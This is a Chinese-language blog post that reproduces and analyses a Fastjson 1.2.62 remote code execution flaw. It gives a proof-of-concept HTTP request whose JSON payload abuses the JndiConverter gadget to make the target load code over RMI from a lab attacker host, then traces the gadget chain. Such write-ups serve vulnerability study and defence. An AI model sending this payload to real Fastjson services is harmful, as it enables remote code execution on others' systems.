Loading

Fastjson 1.2.62 Rce 漏洞复现&分析

0x01 漏洞背景

漏洞编号:

漏洞成因:

0x02 漏洞复现

poc

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.3:8089
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115



{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://192.168.52.2:9999/rce_1_2_24_exploit"}

image-20201224103510283

0x03 漏洞分析

该漏洞主要在于利用链上,从poc可以看出,该漏洞利用链为org.apache.xbean.propertyeditor.JndiConverter,跟前边大部分fastjson漏洞利用一样,主要看setAsText方法,下边先跟踪JndiConverter类

image-20201224105342027

该类继承自抽象类AbstractConverter

image-20201224112322340

poc中的字段AsText,在fastjson将会调用该类的set方法进行赋值,其中toObject调用的toObjectImpl方法

image-20201224115459119

而toObjectImpl方法在其抽象类的子类中进行了重写,通过context.lookup进行jndi调用
image-20201224115738904

0x04 参考

https://www.anquanke.com/post/id/199527

https://www.cnblogs.com/tr1ple/p/12348886.html

posted @ 2021-02-05 18:00  0x28  阅读(848)  评论(0编辑  收藏  举报